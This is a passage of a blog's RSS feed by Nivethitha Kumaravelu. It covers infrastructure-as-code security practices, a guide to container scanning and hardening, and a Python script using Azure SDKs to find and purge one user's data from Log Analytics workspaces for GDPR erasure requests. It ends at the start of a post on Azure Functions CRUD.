<li><p><strong>Principle of Least Privilege</strong><br /> Ensure that resources deployed using IaC adhere to the principle of least privilege, granting only the permissions necessary for their operation.</p>
</li>
<li><p><strong>Environment Segmentation</strong><br /> Isolate different environments (e.g., development, staging, production) to minimize the risk of accidental or malicious cross-environment access.</p>
</li>
<li><p><strong>Encryption</strong><br /> Ensure that sensitive data in transit and at rest is encrypted using industry-standard protocols and practices.</p>
</li>
<li><p><strong>Centralized Logging</strong><br /> Implement a centralized logging solution to collect, analyze, and respond to events across your IaC-managed infrastructure.</p>
</li>
<li><p><strong>Regular Backups</strong><br /> Automate the process of taking regular backups of critical configurations and data. Test recovery procedures to ensure reliability in the event of a failure</p>
</li>
</ol>
]]></content:encoded></item><item><title><![CDATA[Essential Information on Container Scanning: A Complete Guide]]></title><description><![CDATA[Deploying applications as containers is becoming an increasingly popular approach for building, deploying, and managing software applications. The…]]></description><link>https://nebulablogs.com/essential-information-on-container-scanning-a-complete-guide</link><guid isPermaLink="true">https://nebulablogs.com/essential-information-on-container-scanning-a-complete-guide</guid><category><![CDATA[Devops]]></category><category><![CDATA[Security]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[DevSecOps]]></category><dc:creator><![CDATA[Nivethitha Kumaravelu]]></dc:creator><pubDate>Fri, 06 Dec 2024 21:52:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/in9-n0JwgZ0/upload/47576356972a6fb8f5e0aeb9330d6c2f.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Deploying applications as containers is becoming an increasingly popular approach for building, deploying, and managing software applications. The portability, scalability, and agility of containers make them an ideal solution for modern software development practices, such as continuous integration and continuous delivery (CI/CD).</p>
<p>In this document, we will go over the general concepts of containerization, how containers can introduce security vulnerabilities, and how to mitigate these risks.</p>
<h2 id="heading-key-concepts">Key concepts</h2>
<p><strong>Container:</strong> A container is a standalone file or package of software files that include everything you need to run an application. Everything from the application’s code and dependencies, to its library, runtime, and system tools are all located within the container.</p>
<p><strong>Container Image:</strong> A container image is a static file within a container that holds the code to run processes for your application. It can include system libraries, tools, and other settings needed to run on a containerized platform. These images are often built on a pre-existing parent image or base image in an OS to help developers avoid building lots of files from scratch.</p>
<p><strong>Container Registry:</strong> A container registry is a repository that stores container images. It provides a centralized location for storing and sharing container images, making it easier to deploy and manage containerized applications.</p>
<p><strong>CI/CD:</strong> Continuous Integration/Continuous Deployment (CI/CD) is a software development practice that involves automating the build, test, and deployment processes of software applications.</p>
<p><strong>Docker</strong>: Docker is a popular containerization platform that allows developers to package applications into containers.</p>
<p><strong>Dockerfile</strong>: A text file containing the configurations needed to build a Docker image.</p>
<p><strong>Container Hardening</strong>: The process of enhancing security by reducing the attack surface of a containerized application.</p>
<p><strong>Container Scanning:</strong> Container scanning refers to the systematic examination of container images to detect potential security threats such as known vulnerabilities, malware, and misconfigurations. It encompasses both static analysis (analyzing code without executing it) and dynamic analysis (testing how the software behaves when executed).</p>
<h2 id="heading-container-security-risks">Container Security Risks</h2>
<p>The following list outlines the potential security risks associated with the use of containerized applications:</p>
<ol>
<li><p><strong>Image Vulnerabilities</strong>: The security of a container largely depends on the integrity of its base image. If an image contains vulnerabilities or is compromised, it can expose all containers built upon it to potential threats.</p>
</li>
<li><p><strong>Misconfiguration</strong>: Incorrect configuration settings within container environments can lead to security gaps. This includes issues like running services with overly permissive permissions, exposing unnecessary ports, or failing to update and patch the underlying system regularly.</p>
</li>
<li><p><strong>Outdated Libraries and Frameworks</strong>: Containers often include dependencies such as libraries and frameworks that may have known vulnerabilities or be outdated. If these dependencies are not updated regularly, they may introduce security risks.</p>
</li>
<li><p><strong>Data Leakage</strong>: Containers share resources at a granular level, which means that if one application leaks secrets or sensitive data through its logs or network traffic, it can potentially affect other applications sharing the same container environment.</p>
</li>
<li><p><strong>Escalation of Privileges</strong>: Without proper access controls, containers may allow processes to escalate their privileges beyond what is necessary for operation, creating security risks.</p>
</li>
</ol>
<h2 id="heading-best-practices-for-container-hardening">Best Practices for Container hardening</h2>
<p>The following are some best practices for container hardening that is recommended while developing the container images:</p>
<ul>
<li><p>Use docker containers with immutable tags for production environments. Rolling tags can be used for development environments.</p>
</li>
<li><p>Use non-root user accounts for running containers.</p>
</li>
<li><p>Sign container images to ensure integrity and authenticity. Docker engine can be configured to only run images signed by trusted parties.</p>
</li>
<li><p>Protect the underlying linux kernel with AppArmor, Seccomp or SELinux security profiles.</p>
</li>
<li><p>Enable resource limits for containers to prevent resource exhaustion attacks.</p>
</li>
<li><p>Secure the container registry by implementing authentication and authorization mechanisms.</p>
</li>
<li><p>Mount host-sensitive directories as read-only.</p>
</li>
<li><p>Running ssh service within containers makes managing ssh keys/ access policies difficult. This should be avoided if possible. Instead, run ssh on the host and use <code>docker exec</code> or <code>docker attach</code> to interact with the container.</p>
</li>
<li><p>Ensure that the container’s ports are not mapped to host ports below port 1024.</p>
</li>
<li><p>Ports not necessary for the service must not be exposed.</p>
</li>
<li><p>Avoid sharing host namespaces with containers.</p>
</li>
<li><p>Restrict a container from acquiring new privileges by setting the <code>no_new_priv</code> bit in the kernel. Always run your docker images with <code>--security-opt=no-new-privileges</code> in order to prevent privilege escalation.</p>
</li>
</ul>
<p><a target="_blank" href="https://github.com/hadolint/hadolint">Hadolint</a> is a Dockerfile linter that helps you build best practice Docker images.</p>
<h2 id="heading-types-of-container-scanning">Types of Container Scanning</h2>
<p>Containers are complex software systems that can be difficult to fully test and analyze without the use of a container scanning tool.</p>
<p>The analysis involves the scanner retrieving a container image from the container registry where it's stored. The scanner then decomposes the image into its constituent layers, which typically include the base image, application code, and dependencies. Decomposition is essential because it allows the scanner to examine each layer in isolation, identifying any areas where vulnerabilities might lurk.</p>
<h3 id="heading-image-scanning">Image scanning</h3>
<p>Image scanning examines the container images themselves, often before they are deployed. Here are three key concepts related to image scanning:</p>
<p><strong>Base image vulnerabilities</strong>: Many containers are built from base images that can contain vulnerabilities. Container image scanning tools check these base images against known vulnerabilities in databases (like the CVE list) to ensure they don't have any outdated or compromised components.</p>
<p><strong>Application dependency checks</strong>: Application dependency checks scan the libraries and packages the application within the container relies on. This type of scan also analyzes the software bill of materials (SBOM) to identify outdated libraries with known vulnerabilities.</p>
<p><strong>IaC scanning</strong>: This process involves the examination of infrastructure as code files, such as Dockerfile, to validate configurations and detect potential misconfigurations or embedded secrets. IaC scanning helps ensure that the infrastructure provisioning scripts are secure and adhere to best practices, preventing the deployment of vulnerable containers.</p>
<h3 id="heading-runtime-scanning">Runtime scanning</h3>
<p>Runtime scanning (scanning that takes place while a container is active and running) has the following targets:</p>
<p><strong>System calls and processes</strong>: Runtime scanners observe the system calls running containers make: If a container attempts to make an unexpected system call, it could indicate the presence of malicious activity.</p>
<p><strong>Anomalous behavior in real time</strong>: This type of runtime scan looks for deviations from regular operation, which could suggest an intrusion. Anomalous behavior might include spikes in network traffic or unauthorized changes to files or configurations.</p>
<h2 id="heading-container-security-tools">Container Security Tools</h2>
<ol>
<li><p><a target="_blank" href="https://www.blackduck.com/"><strong>BlackDuck</strong></a>: A comprehensive container security solution that provides dependency analysis, binary analysis, license compliance and vulnerability management.</p>
</li>
<li><p><a target="_blank" href="https://github.com/aquasecurity/trivy"><strong>Trivy</strong></a>: A lightweight open-source tool for scanning containers for vulnerabilities, misconfigurations, and policy violations.</p>
</li>
<li><p><a target="_blank" href="https://github.com/quay/clair"><strong>Clair</strong></a>: Clair is an open source project for the static analysis of vulnerabilities in application containers (currently including OCI and docker).</p>
</li>
<li><p><a target="_blank" href="https://falco.org/"><strong>Falco</strong></a>: Falco is an open-source runtime security platform that allows you to detect and respond to suspicious behavior within Linux containers and applications.</p>
</li>
<li><p><a target="_blank" href="https://anchore.com/opensource/"><strong>Anchore</strong></a>: Anchore provides a developer-friendly vulnerability scanning tool for container image and also provides SBOM (Software Bill of Materials) generation support.</p>
</li>
<li><p><a target="_blank" href="https://github.com/eliasgranderubio/dagda"><strong>Dagda</strong></a>: A tool to perform static analysis of known vulnerabilities, trojans, viruses, malware &amp; other malicious threats in docker images/containers and to monitor the docker daemon and running docker containers for detecting anomalous activities.</p>
</li>
<li><p><a target="_blank" href="https://github.com/hadolint/hadolint"><strong>Hadolint</strong></a>: A smart Dockerfile linter that helps you build best practice Docker images.</p>
</li>
<li><p><a target="_blank" href="https://github.com/GitGuardian/ggshield"><strong>ggshield</strong></a>: a CLI application that runs in the local environment or in a CI environment to help detect secrets, as well as other potential security vulnerabilities or policy breaks affecting the codebase.</p>
</li>
</ol>
<h2 id="heading-implementation-steps">Implementation Steps</h2>
<h3 id="heading-preparation">Preparation</h3>
<p>Define scanning policies, tools, and integration points with CI/CD pipelines.</p>
<ul>
<li><p><strong>Scanning Policy</strong>: Define the scope of the scan, the type of scan, and the frequency of the scan.</p>
</li>
<li><p><strong>Scanning Tool</strong>: Choose the appropriate scanning tool based on the requirements of the organization and the type of container images being scanned.</p>
</li>
<li><p><strong>Integration Points</strong>: Establish the integration points with the CI/CD pipeline to trigger the scanning process.</p>
<ul>
<li><p>Container scanning can be performed at different stages of the development process. For example, during the build phase when the container image is being built with the help of a Dockerfile.</p>
</li>
<li><p>The scanning tool can be integrated with the CI/CD pipeline to trigger the scan automatically when a new container image is pushed to or pulled from the container registry.</p>
</li>
<li><p>The recommended approach is to perform the scan before pushing the container image to a trusted registry.</p>
</li>
</ul>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1733521632456/1d37eba9-221a-48ef-a490-d294c40dfd6c.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-configuration">Configuration</h3>
<p>Set up the scanning tool(s) according to organizational requirements and compliance standards. Does the scanning tool configuration check for:</p>
<ul>
<li><p>vulnerabilities in the base image used to build the container?</p>
</li>
<li><p>use of outdated or vulnerable libraries and dependencies?</p>
</li>
<li><p>misconfigurations in the infrastructure provisioning scripts?</p>
</li>
<li><p>permissions and access control issues?</p>
</li>
<li><p>leakage of sensitive data or credentials?</p>
</li>
<li><p>security best practices and compliance with industry standards?</p>
</li>
</ul>
<p>The recommendation is to use a combination of static and dynamic/runtime scanning tools to ensure comprehensive coverage of the container images.</p>
<h3 id="heading-execution-and-continuous-monitoring">Execution and continuous monitoring</h3>
<p>Container scanning needs to be performed at regular intervals to ensure that new vulnerabilities are identified and remediated promptly. The frequency of scanning depends on the organization's security policies and compliance requirements.</p>
<h2 id="heading-documentation-and-reporting">Documentation and Reporting</h2>
<p>The documentation of the container scan results should include the following information:</p>
<ul>
<li><p>The container image name and tag</p>
</li>
<li><p>The date and time of the scan</p>
</li>
<li><p>The scan tool used</p>
</li>
<li><p>The scan results, including any vulnerabilities or misconfigurations found</p>
</li>
<li><p>The remediation actions taken based on the scan results</p>
</li>
</ul>
<p>The container scan reports should be reviewed regularly and the mitigation actions should be taken based on the severity and impact of the vulnerabilities identified.</p>
<p>The findings must be tracked and documented in a centralized system, such as a vulnerability management system, to ensure that they are worked on and remediated in a timely manner.</p>
]]></content:encoded></item><item><title><![CDATA[Purging User Data from Azure Log Analytics Workspace - GDPR Compliance]]></title><description><![CDATA[In today's data-driven world, ensuring compliance with data privacy regulations like the General Data Protection Regulation (GDPR) is critical for…]]></description><link>https://nebulablogs.com/purging-user-data-from-azure-log-analytics-workspace-gdpr-compliance</link><guid isPermaLink="true">https://nebulablogs.com/purging-user-data-from-azure-log-analytics-workspace-gdpr-compliance</guid><category><![CDATA[Azure]]></category><category><![CDATA[Security]]></category><category><![CDATA[Python]]></category><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[Nivethitha Kumaravelu]]></dc:creator><pubDate>Fri, 04 Oct 2024 18:31:55 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/cyzTs075qMc/upload/982c1bc6fc1554a69ef9a12fc38e67ba.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In today's data-driven world, ensuring compliance with data privacy regulations like the <strong>General Data Protection Regulation (GDPR)</strong> is critical for organizations. One of the key rights under GDPR is <strong>Article 17</strong>, the "Right to Erasure" or the "Right to be Forgotten." This requires organizations to erase personal data upon request, especially when the data is no longer needed or the individual withdraws consent. For businesses hosting applications in the <strong>Azure cloud environment</strong>, this means purging user data from various services, including <strong>Azure Log Analytics Workspace</strong>. In this blog post, we will explore why and how you can purge user data from Azure Log Analytics Workspace to remain GDPR compliant.</p>
<h3 id="heading-the-importance-of-gdpr-compliance">The Importance of GDPR Compliance</h3>
<p>The GDPR applies to all organizations that process personal data of EU citizens, regardless of where the company is based. One of its core principles is ensuring that individuals have control over their personal data, including the right to have that data erased when certain conditions are met, such as:</p>
<ol>
<li><p><strong>Withdrawal of consent</strong>: If a user withdraws consent to the processing of their data, the organization must erase their information.</p>
</li>
<li><p><strong>Data no longer necessary</strong>: If the data collected is no longer necessary for the purpose it was originally gathered for.</p>
</li>
<li><p><strong>Data processing is unlawful</strong>: If the processing of personal data is in violation of the GDPR.</p>
</li>
<li><p><strong>Legal obligations</strong>: If there's a legal requirement to erase the data.</p>
</li>
</ol>
<p>In such cases, failure to erase personal data could result in <strong>severe penalties</strong>, with fines reaching up to €20 million or 4% of global annual turnover, whichever is higher.</p>
<h3 id="heading-why-purging-data-in-azure-log-analytics-is-critical">Why Purging Data in Azure Log Analytics is Critical</h3>
<p><strong>Azure Log Analytics Workspace</strong> is a powerful service that allows organizations to collect and query data from their Azure resources for monitoring, troubleshooting, and performance analysis. However, the logs stored in these workspaces often contain <strong>personal information</strong> such as user IDs, email addresses, or other identifiers. If a user requests data erasure, you must ensure that these logs are purged accordingly.</p>
<p>Some of the typical user data that could be captured in Log Analytics logs includes:</p>
<ul>
<li><p><strong>User email addresses</strong></p>
</li>
<li><p><strong>User IDs or application-specific identifiers</strong></p>
</li>
<li><p><strong>IP addresses</strong></p>
</li>
</ul>
<p>Purging this information is essential for ensuring that your organization respects user privacy and meets <strong>GDPR Article 17</strong> requirements.</p>
<h3 id="heading-automating-the-process-a-python-script-for-purging-user-data">Automating the Process: A Python Script for Purging User Data</h3>
<p>Manually locating and deleting data across various Azure Log Analytics Workspaces can be time-consuming and prone to errors. To streamline this process, you can use an automated approach by developing a <strong>Python script</strong> that:</p>
<ul>
<li><p><strong>Queries logs</strong> in Azure Log Analytics Workspace based on user email addresses.</p>
</li>
<li><p><strong>Submits a purge request</strong> to delete those logs for GDPR compliance.</p>
</li>
<li><p><strong>Checks the status</strong> of ongoing purge requests to ensure successful completion.</p>
</li>
</ul>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> argparse
<span class="hljs-keyword">from</span> datetime <span class="hljs-keyword">import</span> datetime, timezone
<span class="hljs-keyword">from</span> azure.identity <span class="hljs-keyword">import</span> DefaultAzureCredential
<span class="hljs-keyword">from</span> azure.mgmt.loganalytics <span class="hljs-keyword">import</span> LogAnalyticsManagementClient
<span class="hljs-keyword">from</span> azure.monitor.query <span class="hljs-keyword">import</span> LogsQueryClient, LogsQueryStatus
<span class="hljs-keyword">import</span> pandas <span class="hljs-keyword">as</span> pd
<span class="hljs-keyword">from</span> azure.core.exceptions <span class="hljs-keyword">import</span> HttpResponseError

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">parse_args</span>():</span>
    parser = argparse.ArgumentParser()
    group = parser.add_mutually_exclusive_group(required=<span class="hljs-literal">True</span>)
    group.add_argument(<span class="hljs-string">"--getlogs"</span>, action=<span class="hljs-string">"store_true"</span>, help=<span class="hljs-string">"Get logs"</span>)
    group.add_argument(<span class="hljs-string">"--deletelogs"</span>, action=<span class="hljs-string">"store_true"</span>, help=<span class="hljs-string">"Delete logs"</span>)
    group.add_argument(<span class="hljs-string">"--status"</span>, action=<span class="hljs-string">"store_true"</span>, help=<span class="hljs-string">"Get the status of deletion request"</span>)

    parser.add_argument(<span class="hljs-string">"--subscriptionid"</span>, type=str, help=<span class="hljs-string">"Subscription id"</span>)
    parser.add_argument(<span class="hljs-string">"--workspace"</span>, type=str, help=<span class="hljs-string">"Log Analytics workspace name"</span>)
    parser.add_argument(<span class="hljs-string">"--resourcegroup"</span>, type=str, help=<span class="hljs-string">"Resource group name"</span>)
    parser.add_argument(<span class="hljs-string">"--starttime"</span>, type=str, help=<span class="hljs-string">"Start time in yyyy-mm-dd-hh-mm-ss format (UTC)"</span>)
    parser.add_argument(<span class="hljs-string">"--endtime"</span>, type=str, help=<span class="hljs-string">"End time in yyyy-mm-dd-hh-mm-ss format (UTC)"</span>)
    parser.add_argument(<span class="hljs-string">"--useremail"</span>, type=str, help=<span class="hljs-string">"User email"</span>)
    parser.add_argument(<span class="hljs-string">"--workspaceid"</span>, type=str, help=<span class="hljs-string">"Add comma separated Log Analytics workspace ids"</span>)
    parser.add_argument(<span class="hljs-string">"--purgeid"</span>, type=str, help=<span class="hljs-string">"Add comma separated purge ids"</span>)

    <span class="hljs-keyword">return</span> parser.parse_args()

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">validate_datetime_format</span>(<span class="hljs-params">date_str</span>):</span>
    <span class="hljs-keyword">try</span>:
        <span class="hljs-keyword">return</span> datetime.strptime(date_str, <span class="hljs-string">'%Y-%m-%d-%H-%M-%S'</span>)
    <span class="hljs-keyword">except</span> ValueError <span class="hljs-keyword">as</span> e:
        print(<span class="hljs-string">f"Invalid date format for <span class="hljs-subst">{date_str}</span>: <span class="hljs-subst">{e}</span>"</span>)
        exit()

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">convert_to_iso_format</span>(<span class="hljs-params">date</span>):</span>
    <span class="hljs-keyword">return</span> date.strftime(<span class="hljs-string">'%Y-%m-%dT%H:%M:%S'</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_credential</span>():</span>
    <span class="hljs-keyword">return</span> DefaultAzureCredential()

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">handle_get_logs</span>(<span class="hljs-params">args, credential</span>):</span>
    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> all([args.starttime, args.endtime]):
        print(<span class="hljs-string">"ERROR: Please provide all required parameters for getting logs."</span>)
        print(<span class="hljs-string">"Usage: python3 main.py --getlogs --starttime &lt;starttime&gt; --endtime &lt;endtime&gt; --workspaceid &lt;workspaceid&gt; --useremail &lt;useremail&gt;"</span>)
        exit()

    client = LogsQueryClient(credential)
    starttime = validate_datetime_format(args.starttime).replace(tzinfo=timezone.utc)
    endtime = validate_datetime_format(args.endtime).replace(tzinfo=timezone.utc)

    <span class="hljs-keyword">if</span> args.workspaceid <span class="hljs-keyword">is</span> <span class="hljs-literal">None</span> <span class="hljs-keyword">or</span> args.useremail <span class="hljs-keyword">is</span> <span class="hljs-literal">None</span>:
        print(<span class="hljs-string">"Please provide workspace id(s) and user email."</span>)
        exit()

    workspaceid = args.workspaceid.split(<span class="hljs-string">","</span>)
    <span class="hljs-comment">#Modify the query based on your log format.</span>
    query = <span class="hljs-string">f"""AppEvents | where tostring(Properties["email"]) =~ "<span class="hljs-subst">{args.useremail}</span>" """</span>

    run_queries(client, workspaceid, query, starttime, endtime)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">run_queries</span>(<span class="hljs-params">client, workspaceids, query, starttime, endtime</span>):</span>
    total_rows = <span class="hljs-number">0</span>
    <span class="hljs-keyword">for</span> workspaceid <span class="hljs-keyword">in</span> workspaceids:
        <span class="hljs-keyword">try</span>:
            response = client.query_workspace(workspace_id=workspaceid, query=query, timespan=(starttime, endtime))

            <span class="hljs-keyword">if</span> response.status == LogsQueryStatus.SUCCESS:
                data = response.tables
            <span class="hljs-keyword">else</span>:
                print(response.partial_error)
                data = response.partial_data

            <span class="hljs-keyword">for</span> table <span class="hljs-keyword">in</span> data:
                df = pd.DataFrame(data=table.rows, columns=table.columns)
                print(<span class="hljs-string">f"Logs in Workspace ID: <span class="hljs-subst">{workspaceid}</span>\n"</span>)
                print(df.loc[:, [<span class="hljs-string">'TimeGenerated'</span>, <span class="hljs-string">'Name'</span>, <span class="hljs-string">'OperationName'</span>]])
                total_rows += len(df)

        <span class="hljs-keyword">except</span> (HttpResponseError, Exception) <span class="hljs-keyword">as</span> err:
            print(<span class="hljs-string">"Error:"</span>, err)

    print(<span class="hljs-string">f"\nTotal rows with user data: <span class="hljs-subst">{total_rows}</span>\n"</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">handle_delete_logs</span>(<span class="hljs-params">args, credential</span>):</span>
    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> all([args.subscriptionid, args.workspace, args.resourcegroup, args.starttime, args.endtime, args.useremail]):
        print(<span class="hljs-string">"ERROR: Please provide all required parameters for deleting logs."</span>)
        print(<span class="hljs-string">"Usage: python3 main.py --deletelogs --subscriptionid &lt;subscriptionid&gt; --workspace &lt;workspace&gt; --resourcegroup &lt;resourcegroup&gt; --starttime &lt;starttime&gt; --endtime &lt;endtime&gt; --useremail &lt;useremail&gt;"</span>)
        exit()

    client = LogAnalyticsManagementClient(credential, subscription_id=args.subscriptionid)
    starttime = convert_to_iso_format(validate_datetime_format(args.starttime))
    endtime = convert_to_iso_format(validate_datetime_format(args.endtime))

    <span class="hljs-keyword">try</span>:
        response = client.workspace_purge.purge(
            resource_group_name=args.resourcegroup,
            workspace_name=args.workspace,
            <span class="hljs-comment">#Modify the filters based on your log format.</span>
            body={
                <span class="hljs-string">"filters"</span>: [
                    {<span class="hljs-string">"column"</span>: <span class="hljs-string">"TimeGenerated"</span>, <span class="hljs-string">"operator"</span>: <span class="hljs-string">"&gt;"</span>, <span class="hljs-string">"value"</span>: starttime},
                    {<span class="hljs-string">"column"</span>: <span class="hljs-string">"TimeGenerated"</span>, <span class="hljs-string">"operator"</span>: <span class="hljs-string">"&lt;"</span>, <span class="hljs-string">"value"</span>: endtime},
                    {<span class="hljs-string">"column"</span>: <span class="hljs-string">"Properties"</span>, <span class="hljs-string">"key"</span>: <span class="hljs-string">"email"</span>, <span class="hljs-string">"operator"</span>: <span class="hljs-string">"=~"</span>, <span class="hljs-string">"value"</span>: args.useremail},
                ],
                <span class="hljs-string">"table"</span>: <span class="hljs-string">"AppEvents"</span>,
            },
        )

        response_purgeid = response.operation_id
        append_to_file(<span class="hljs-string">"purgeid.txt"</span>, response_purgeid + <span class="hljs-string">"\n"</span>)
        print(<span class="hljs-string">f"Purge request submitted. Purge ID: <span class="hljs-subst">{response_purgeid}</span>\n"</span>)

    <span class="hljs-keyword">except</span> (HttpResponseError, Exception) <span class="hljs-keyword">as</span> err:
        print(<span class="hljs-string">"Error:"</span>, err)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">append_to_file</span>(<span class="hljs-params">filename, text</span>):</span>
    print(<span class="hljs-string">f"Saving purge id to <span class="hljs-subst">{filename}</span> file..."</span>)
    <span class="hljs-keyword">with</span> open(filename, <span class="hljs-string">"a"</span>) <span class="hljs-keyword">as</span> f:
        f.write(text)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">handle_status</span>(<span class="hljs-params">args, credential</span>):</span>
    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> all([args.purgeid, args.subscriptionid, args.workspace, args.resourcegroup]):
        print(<span class="hljs-string">"ERROR: Please provide all required parameters for checking the status."</span>)
        print(<span class="hljs-string">"Usage: python3 main.py --status --subscriptionid &lt;subscriptionid&gt; --workspace &lt;workspace&gt; --resourcegroup &lt;resourcegroup&gt; --purgeid &lt;purgeid&gt;"</span>)
        exit()

    client = LogAnalyticsManagementClient(credential, subscription_id=args.subscriptionid)
    purgeids = args.purgeid.split(<span class="hljs-string">","</span>)

    <span class="hljs-keyword">for</span> purgeid <span class="hljs-keyword">in</span> purgeids:
        <span class="hljs-keyword">try</span>:
            response = client.workspace_purge.get_purge_status(
                resource_group_name=args.resourcegroup,
                workspace_name=args.workspace,
                purge_id=purgeid,
            )
            print(<span class="hljs-string">f"Purge ID: <span class="hljs-subst">{purgeid}</span>, Status: <span class="hljs-subst">{response.status}</span>\n"</span>)

        <span class="hljs-keyword">except</span> (HttpResponseError, Exception) <span class="hljs-keyword">as</span> err:
            print(<span class="hljs-string">"Error:"</span>, err)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
    print(<span class="hljs-string">"\n INFO: Run 'az login' before running this script.\n"</span>)
    args = parse_args()
    credential = get_credential()

    <span class="hljs-keyword">if</span> args.getlogs:
        handle_get_logs(args, credential)
    <span class="hljs-keyword">elif</span> args.deletelogs:
        handle_delete_logs(args, credential)
    <span class="hljs-keyword">elif</span> args.status:
        handle_status(args, credential)

    print(<span class="hljs-string">"Operation completed. Exiting..."</span>)

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    main()
</code></pre>
<p>Below, we outline the steps to use such a script for automating log queries and purging user data in Azure.</p>
<h3 id="heading-how-the-script-works">How the Script Works</h3>
<p>The provided Python script serves three main purposes:</p>
<ol>
<li><p><strong>Get logs</strong>: It queries logs based on a specific user's email address.</p>
</li>
<li><p><strong>Delete logs</strong>: It submits a purge request to delete logs matching a user’s email.</p>
</li>
<li><p><strong>Check purge status</strong>: It checks the status of a previously submitted purge request.</p>
</li>
</ol>
<h4 id="heading-prerequisites">Prerequisites</h4>
<p>Before running the script, ensure you have the following:</p>
<ul>
<li><p><strong>Azure CLI</strong> installed and logged in with appropriate credentials.</p>
</li>
<li><p><strong>Python 3.10</strong> or higher.</p>
</li>
<li><p>The script user must have the <strong>'Data Purger'</strong> role assigned in the subscription.</p>
</li>
<li><p>Modify the log queries and filters in the script to match the format of your logs.</p>
</li>
</ul>
<h4 id="heading-example-usage">Example Usage</h4>
<ol>
<li><p><strong>Getting Logs for a Specific User</strong>: To fetch logs for a user between specific time ranges, you can run:</p>
<pre><code class="lang-bash"> python3 main.py --getlogs \
 --starttime 2024-10-04-08-00-00 \
 --endtime 2024-10-04-10-00-00 \
 --workspaceid b152f67b-5678-408f-b708-8943264822d6,18328920-8765-4521-9aa5-2fe0aaec1c6b \
 --useremail user@domain.com
</code></pre>
</li>
<li><p><strong>Deleting Logs for GDPR Compliance</strong>: To delete logs for a specific user and submit a purge request, run:</p>
<pre><code class="lang-bash"> python3 main.py --deletelogs \
 --starttime 2024-10-04-08-00-00 \
 --endtime 2024-10-04-10-00-00 \
 --subscriptionid 0e121138-80e8-1234-bacc-c7e0b3cd8aa \
 --workspace workspace-name \
 --resourcegroup rg-test \
 --useremail user@domain.com
</code></pre>
<p> The purge request will return a unique <strong>purge ID</strong> for tracking, saved in a file named <code>purgeid.txt</code>.</p>
</li>
<li><p><strong>Checking the Status of a Purge Request</strong>: To check the status of a previously submitted purge request, use the following command:</p>
<pre><code class="lang-bash"> python3 main.py --status \
 --subscriptionid 0e641138-90e8-1234-bacc-c7e0b3c8d8aa \
 --workspace workspace-name \
 --resourcegroup rg-test \
 --purgeid purge-97380f07-1235-4a21-8ff7-cc092303662a
</code></pre>
</li>
</ol>
<h3 id="heading-key-considerations">Key Considerations</h3>
<ol>
<li><p><strong>Data Retention Policies</strong>: Ensure that your <strong>data retention policies</strong> for logs align with GDPR's "Right to be Forgotten" principles. In some cases, log data might be subject to legal obligations requiring retention, which could affect whether you can fulfill deletion requests.</p>
</li>
<li><p><strong>Access Control</strong>: Ensure that only authorized personnel (those with the <strong>'Data Purger'</strong> role) can submit data purge requests.</p>
</li>
<li><p><strong>Logging and Auditing</strong>: Keep a record of purge requests and their status to demonstrate compliance with data privacy regulations during audits.</p>
</li>
</ol>
<h3 id="heading-conclusion">Conclusion</h3>
<p>As privacy regulations like GDPR become more critical, ensuring that personal data is properly managed and deleted is paramount. For organizations using Azure Log Analytics Workspaces, implementing an automated solution to handle log queries and data purging is essential to meet compliance requirements efficiently.</p>
<p>Reference:</p>
<ul>
<li><p>Query Logs: <a target="_blank" href="https://learn.microsoft.com/en-us/python/api/overview/azure/monitor-query-readme?view=azure-python">https://learn.microsoft.com/en-us/python/api/overview/azure/monitor-query-readme?view=azure-python</a></p>
</li>
<li><p>Purge Data: <a target="_blank" href="https://learn.microsoft.com/en-us/rest/api/loganalytics/workspace-purge/purge?view=rest-loganalytics-2023-09-01&amp;tabs=HTTP">https://learn.microsoft.com/en-us/rest/api/loganalytics/workspace-purge/purge?view=rest-loganalytics-2023-09-01&amp;tabs=HTTP</a></p>
</li>
<li><p>Get Purge Status: <a target="_blank" href="https://learn.microsoft.com/en-us/rest/api/loganalytics/workspace-purge/get-purge-status?view=rest-loganalytics-2023-09-01&amp;tabs=HTTP">https://learn.microsoft.com/en-us/rest/api/loganalytics/workspace-purge/get-purge-status?view=rest-loganalytics-2023-09-01&amp;tabs=HTTP</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Creating a Simple Python App to Demonstrate CRUD Functionality using Azure Functions]]></title><description><![CDATA[To-Do List on Azure Functions]]></description><link>https://nebulablogs.com/creating-a-simple-python-app-to-demonstrate-crud-functionality-using-azure-functions</link><guid isPermaLink="true">https://nebulablogs.com/creating-a-simple-python-app-to-demonstrate-crud-functionality-using-azure-functions</guid><category><![CDATA[Azure]]></category><category><![CDATA[Python]]></category><dc:creator><![CDATA[Nivethitha Kumaravelu]]></dc:creator><pubDate>Fri, 16 Aug 2024 22:05:04 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/mfSY12Au5o4/upload/f44026bf8627bec74d14e697baa0d4c2.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-introduction">Introduction</h2>
